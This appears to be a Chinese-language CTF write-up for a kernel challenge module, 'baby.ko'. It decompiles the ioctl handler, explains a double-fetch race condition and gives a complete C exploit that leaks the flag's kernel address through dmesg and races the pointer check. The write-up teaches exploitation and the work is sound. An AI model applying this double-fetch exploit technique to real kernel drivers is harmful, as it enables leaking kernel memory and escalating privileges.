看看保护,似乎没啥保护。
其实看到它不是单核单线程,猜测可能会有条件竞争。
挂载文件时baby.ko
来看程序
__int64 __fastcall sub_25(__int64 a1, int a2, __int64 a3)
{
__int64 result; // rax
int i; // [rsp+1Ch] [rbp-54h]
if ( a2 == 26214 )
{
printk("Your flag is at %px! But I don't think you know it's content\n", flag);
result = 0LL;
}
else if ( a2 == 4919
&& (unsigned __int8)_chk_range_not_ok(a3, 16LL, *(_QWORD *)(__readgsqword((unsigned int)¤t_task) + 4952)) != 1
&& (unsigned __int8)_chk_range_not_ok(
*(_QWORD *)a3,
*(int *)(a3 + 8),
*(_QWORD *)(__readgsqword((unsigned int)¤t_task) + 4952)) != 1
&& *(_DWORD *)(a3 + 8) == strlen(flag) )
{
for ( i = 0; i < strlen(flag); ++i )
{
if ( *(_BYTE *)(*(_QWORD *)a3 + i) != flag[i] )
return 22LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
result = 0LL;
}
else
{
result = 14LL;
}
return result;
}
当 ioctl 中 cmd 参数为 0x6666 时,驱动将输出 flag 的加载地址。当 ioctl 中 cmd 参数为 0x1337 时,首先进行三个校验,接着对用户输入的内容与硬编码的 flag 进行逐字节比较,当一致时通过 printk 将 flag 输出出来。
分析其检查函数,其中 _chk_range_not_ok 为检查指针及长度范围是否指向用户空间
其检查内容为:
输入的数据指针是否为用户态数据。
数据指针内 flag_str 是否指向用户态。
据指针内 flag_len 是否等于硬编码 flag 的长度。
那么我们发现会有一个double fetch漏洞。
什么是个double fetch,我们用了张wiki的图
一个用户态线程准备数据并通过系统调用进入内核,该数据在内核中有两次被取用,内核第一次取用数据进行安全检查(如缓冲区大小、指针可用性等),当检查通过后内核第二次取用数据进行实际处理。而在两次取用数据之间,另一个用户态线程可创造条件竞争,对已通过检查的用户态数据进行篡改,在真实使用时造成访问越界或缓冲区溢出,最终导致内核崩溃或权限提升。
那么首先我们刚开始说并不是单核单线程,这就为我们的double fetch有了条件。
然后我们这道题的思路是说两个功能,首先我们用功能1把flag的地址输出一下,内核中以 printk 输出的内容,可以通过 dmesg 命令查看。
再然后,构造符合 cmd=0x1337 功能的数据结构。
最后,创建一个恶意线程,不断的将 flag_str 所指向的用户态地址修改为 flag 的内核地址以制造竞争条件,从而使其通过驱动中的逐字节比较检查,输出 flag 内容。
exp
#include <string.h>
char *strstr(const char *haystack, const char *needle);
#define _GNU_SOURCE /* See feature_test_macros(7) */
#include <string.h>
char *strcasestr(const char *haystack, const char *needle);
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <pthread.h>
#define TRYTIME 0x1000
#define LEN 0x1000
struct attr
{
char *flag;
size_t len;
};
unsigned long long addr;
int finish =0;
char buf[LEN+1]={0};
void change_attr_value(void *s){
struct attr * s1 = s;
while(finish==0){
s1->flag = addr;
}
}
int main(void)
{
int addr_fd;
char *idx;
int fd = open("/dev/baby",0);
int ret = ioctl(fd,0x6666);
pthread_t t1;
struct attr t;
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
system("dmesg > /tmp/record.txt");
addr_fd = open("/tmp/record.txt",O_RDONLY);
lseek(addr_fd,-LEN,SEEK_END);
read(addr_fd,buf,LEN);
close(addr_fd);
idx = strstr(buf,"Your flag is at ");
if (idx == 0){
printf("[-]Not found addr");
exit(-1);
}
else{
idx+=16;
addr = strtoull(idx,idx+16,16);
printf("[+]flag addr: %p\n",addr);
}
t.len = 33;
t.flag = buf;
//新建恶意线程
pthread_create(&t1, NULL, change_attr_value,&t);
for(int i=0;i<TRYTIME;i++){
ret = ioctl(fd, 0x1337, &t);
t.flag = buf;
}
finish = 1;
pthread_join(t1, NULL);
close(fd);
puts("[+]result is :");
system("dmesg | grep flag");
return 0;
}